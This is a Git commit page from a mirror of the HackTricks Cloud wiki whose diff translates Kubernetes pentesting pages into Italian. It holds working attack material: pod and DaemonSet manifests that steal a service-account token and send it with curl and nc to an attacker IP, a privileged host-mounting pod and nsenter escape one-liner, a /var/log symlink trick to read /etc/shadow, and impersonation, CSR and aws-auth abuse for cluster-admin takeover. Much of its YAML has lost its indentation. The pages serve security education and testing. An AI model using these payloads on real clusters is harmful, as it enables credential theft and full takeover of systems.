gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-12 21:13:45 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

Browse Source
This commit is contained in:
Translator
2024-12-31 18:59:36 +00:00
parent 7770a50092
commit 820dd99aed
244 changed files with 8557 additions and 11405 deletions
Download Patch File Download Diff File Expand all files Collapse all files

22
src/pentesting-cloud/kubernetes-security/README.md
View File

@@ -4,7 +4,7 @@
## Kubernetes Basics
If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes:
Se non sai nulla su Kubernetes, questo è un **buon inizio**. Leggilo per conoscere l'**architettura, i componenti e le azioni di base** in Kubernetes:
{{#ref}}
kubernetes-basics.md
@@ -25,9 +25,9 @@ kubernetes-hardening/
### From the Outside
There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
Ci sono diversi possibili **servizi Kubernetes che potresti trovare esposti** su Internet (o all'interno di reti interne). Se li trovi, sai che c'è un ambiente Kubernetes lì dentro.
Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
A seconda della configurazione e dei tuoi privilegi, potresti essere in grado di abusare di quell'ambiente, per ulteriori informazioni:
{{#ref}}
pentesting-kubernetes-services/
@@ -35,7 +35,7 @@ pentesting-kubernetes-services/
### Enumeration inside a Pod
If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**:
Se riesci a **compromettere un Pod**, leggi la pagina seguente per imparare come enumerare e provare a **escalare privilegi/uscire**:
{{#ref}}
attacking-kubernetes-from-inside-a-pod.md
@@ -43,19 +43,19 @@ attacking-kubernetes-from-inside-a-pod.md
### Enumerating Kubernetes with Credentials
You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
Potresti essere riuscito a compromettere **credenziali utente, un token utente o qualche token di account di servizio**. Puoi usarlo per comunicare con il servizio API di Kubernetes e provare a **enumerarlo per saperne di più**:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
Un altro dettaglio importante riguardo all'enumerazione e all'abuso dei permessi di Kubernetes è il **Kubernetes Role-Based Access Control (RBAC)**. Se vuoi abusare dei permessi, dovresti prima leggerne qui:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
#### Knowing about RBAC and having enumerated the environment you can now try to abuse the permissions with:
#### Sapendo riguardo RBAC e avendo enumerato l'ambiente, ora puoi provare ad abusare dei permessi con:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -63,7 +63,7 @@ abusing-roles-clusterroles-in-kubernetes/
### Privesc to a different Namespace
If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources:
Se hai compromesso un namespace, puoi potenzialmente uscire in altri namespace con permessi/risorse più interessanti:
{{#ref}}
kubernetes-namespace-escalation.md
@@ -71,14 +71,10 @@ kubernetes-namespace-escalation.md
### From Kubernetes to the Cloud
If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
Se hai compromesso un account K8s o un pod, potresti essere in grado di spostarti su altre nuvole. Questo perché in nuvole come AWS o GCP è possibile **dare a un SA K8s permessi sulla nuvola**.
{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

616
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
View File

@@ -2,144 +2,132 @@
{{#include ../../../banners/hacktricks-training.md}}
Here you can find some potentially dangerous Roles and ClusterRoles configurations.\
Remember that you can get all the supported resources with `kubectl api-resources`
Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose.\
Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources`
## **Privilege Escalation**
Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
Si riferisce all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**:
- Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
- Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
- Be able to **read secrets** as the SAs tokens are stored as secrets
- Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
- A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
- Essere in grado di **impersonare** altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di **creare/patchare/eseguire pod** dove puoi **trovare o allegare SAs** con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di **leggere segreti** poiché i token SAs sono memorizzati come segreti
- Essere in grado di **uscire verso il nodo** da un container, dove puoi rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presente)
- Una quinta tecnica che merita una menzione è la capacità di **eseguire port-forward** in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod.
### Access Any Resource or Verb (Wildcard)
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
Il **carattere jolly (\*) concede permessi su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
resources: ["*"]
verbs: ["*"]
```
### Accedi a Qualsiasi Risorsa con un verbo specifico
### Access Any Resource with a specific verb
In RBAC, certain permissions pose significant risks:
1. **`create`:** Grants the ability to create any cluster resource, risking privilege escalation.
2. **`list`:** Allows listing all resources, potentially leaking sensitive data.
3. **`get`:** Permits accessing secrets from service accounts, posing a security threat.
In RBAC, alcune autorizzazioni comportano rischi significativi:
1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation di privilegi.
2. **`list`:** Consente di elencare tutte le risorse, potenzialmente causando un leak di dati sensibili.
3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
An atacker with the permissions to create a pod, could attach a privileged Service Account into the pod and steal the token to impersonate the Service Account. Effectively escalating privileges to it
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
Un attaccante con i permessi per creare un pod, potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi ad esso.
Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Creazione e Fuga del Pod
### Pod Create & Escape
The following indicates all the privileges a container can have:
- **Privileged access** (disabling protections and setting capabilities)
- **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
- **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
- **Mount hosts / inside the container**
Il seguente indica tutti i privilegi che un container può avere:
- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità)
- **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi
- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
- **Montare gli host / all'interno del container**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
```
Create the pod with:
Crea il pod con:
```bash
kubectl --token $token create -f mount_root.yaml
```
One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions:
One-liner da [questo tweet](https://twitter.com/mauilion/status/1129468485480751104) e con alcune aggiunte:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Now that you can escape to the node check post-exploitation techniques in:
Ora che puoi fuggire verso il nodo, controlla le tecniche post-sfruttamento in:
#### Stealth
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a cosa saresti in grado di accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel modello precedente:
- **Privileged + hostPID**
- **Privileged only**
@@ -148,89 +136,82 @@ You probably want to be **stealthier**, in the following pages you can see what
- **hostNetwork**
- **hostIPC**
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_Puoi trovare esempi di come creare/sfruttare le configurazioni di pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\
Inoltre, se puoi creare un **pod con il namespace di rete host**, puoi **rubare il ruolo IAM** dell'istanza **node**.
For more information check:
Per ulteriori informazioni controlla:
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
È possibile abusare di questi permessi per **creare un nuovo pod** e stabilire privilegi come nell'esempio precedente.
Il seguente yaml **crea un daemonset e esfiltra il token del SA** all'interno del pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
```
### **Pods Exec**
**`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**.
Therfore, it's possible to **get inside a pod and steal the token of the SA**, or enter a privileged pod, escape to the node, and steal all the tokens of the pods in the node and (ab)use the node:
**`pods/exec`** è una risorsa in kubernetes utilizzata per **eseguire comandi in una shell all'interno di un pod**. Questo consente di **eseguire comandi all'interno dei contenitori o ottenere una shell all'interno**.
Pertanto, è possibile **entrare in un pod e rubare il token del SA**, o entrare in un pod privilegiato, scappare nel nodo e rubare tutti i token dei pod nel nodo e (ab)usare il nodo:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
### port-forward
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
Questo permesso consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per ottenere accesso a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:
```
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
Come [**indicato in questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se puoi accedere o creare un pod con la **directory `/var/log/` dei host montata** su di esso, puoi **uscire dal container**.\
Questo è fondamentalmente perché quando il **Kube-API cerca di ottenere i log** di un container (utilizzando `kubectl logs <pod>`), **richiede il file `0.log`** del pod utilizzando l'endpoint `/logs/` del servizio **Kubelet**.\
Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'esposizione del filesystem `/var/log` del container**.
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi:
- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -238,9 +219,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
- Se l'attaccante controlla qualsiasi principale con i **permessi per leggere `nodes/log`**, può semplicemente creare un **symlink** in `/host-mounted/var/log/sym` a `/` e quando **accede a `https://<gateway>:10250/logs/sym/` elencherà il filesystem root** dell'host (cambiando il symlink può fornire accesso ai file).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -252,88 +231,78 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Un laboratorio e un exploit automatizzato possono essere trovati in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw:
#### Bypassare la protezione readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Se sei abbastanza fortunato e la capacità altamente privilegiata `CAP_SYS_ADMIN` è disponibile, puoi semplicemente rimontare la cartella come rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Bypassare la protezione hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection:
Come indicato in [**questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), è possibile bypassare la protezione:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
- pathPrefix: "/foo"
readOnly: true
```
Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:
Che doveva prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella host nel contenitore con accesso in scrittura:
```yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Impersonare account privilegiati**
### **Impersonating privileged accounts**
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
Just use the parameter `--as=<username>` in the `kubectl` command to impersonate a user, or `--as-group=<group>` to impersonate a group:
Con un privilegio di [**impersonificazione dell'utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato.
Basta utilizzare il parametro `--as=<username>` nel comando `kubectl` per impersonare un utente, o `--as-group=<group>` per impersonare un gruppo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Or use the REST API:
O utilizzare l'API REST:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -341,76 +310,68 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
The permission to **list secrets could allow an attacker to actually read the secrets** accessing the REST API endpoint:
Il permesso di **elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti** accedendo all'endpoint API REST:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Lettura di un segreto – forzatura dei token ID
### Reading a secret – brute-forcing token IDs
Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del più ampio privilegio di _**elencare i segreti**_, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [codice sorgente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il totale delle combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di forza bruta per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.
The token is generated from a limited 27-character set (`bcdfghjklmnpqrstvwxz2456789`), rather than the full alphanumeric range. This limitation reduces the total possible combinations to 14,348,907 (27^5). Consequently, an attacker could feasibly execute a brute-force attack to deduce the token in a matter of hours, potentially leading to privilege escalation by accessing sensitive service accounts.
### Richieste di Firma del Certificato
### Certificate Signing Requests
Se hai i verbi **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo nodo.**
If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
An **example of a role** with all the required permissions is:
Secondo la [documentazione è possibile approvare automaticamente queste richieste](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), quindi in quel caso **non hai bisogno di permessi extra**. Se no, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in `certificatesigningrequests/approval` e `approve` in `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
Un **esempio di un ruolo** con tutti i permessi richiesti è:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
```
Quindi, con la nuova CSR del nodo approvata, puoi **abuse** delle autorizzazioni speciali dei nodi per **steal secrets** e **escalate privileges**.
So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
In [**questo post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**questo**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configurazione del GKE K8s TLS Bootstrap è configurata con **automatic signing** e viene abusata per generare credenziali di un nuovo nodo K8s e poi abusare di queste per escalare privilegi rubando segreti.\
Se **hai i privilegi menzionati potresti fare la stessa cosa**. Nota che il primo esempio elude l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un **nodo può accedere solo ai segreti dei contenitori montati su di esso.**
Il modo per eludere questo è semplicemente **creare una credenziale del nodo per il nome del nodo dove il contenitore con i segreti interessanti è montato** (ma controlla solo come farlo nel primo post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap.\
The verbs needed are **`update`** and **`patch`**, or **`create`** if configmap wasn't created:
I principi che possono modificare **`configmaps`** nel namespace kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap **aws-auth**.\
I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -419,14 +380,14 @@ get configmap aws-auth -n kube-system -o yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
